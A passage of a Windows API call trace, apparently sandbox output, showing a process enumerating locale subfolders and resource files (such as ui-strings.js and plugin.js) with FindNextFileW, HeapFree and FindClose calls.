	[0168.347] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0168.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.347] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0168.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.381] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0168.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.382] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0168.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.382] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0168.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.382] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0168.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.382] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0168.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0168.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0168.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0168.383] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0168.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x394b938, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0168.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.383] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0168.384] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0168.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0168.387] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1
	[0168.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.389] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0168.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.629] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0168.629] FindClose (in: hFindFile=0x394b7f8 | out: hFindFile=0x394b7f8) returned 1
	[0168.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.629] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0168.629] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.630] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0168.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.631] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0168.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.668] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0168.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.668] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0168.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.668] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0168.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.668] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0168.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.669] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0168.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.669] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0168.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.669] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0168.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.669] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0168.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.669] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0168.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0168.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0168.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0168.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0168.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0168.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.671] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0168.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
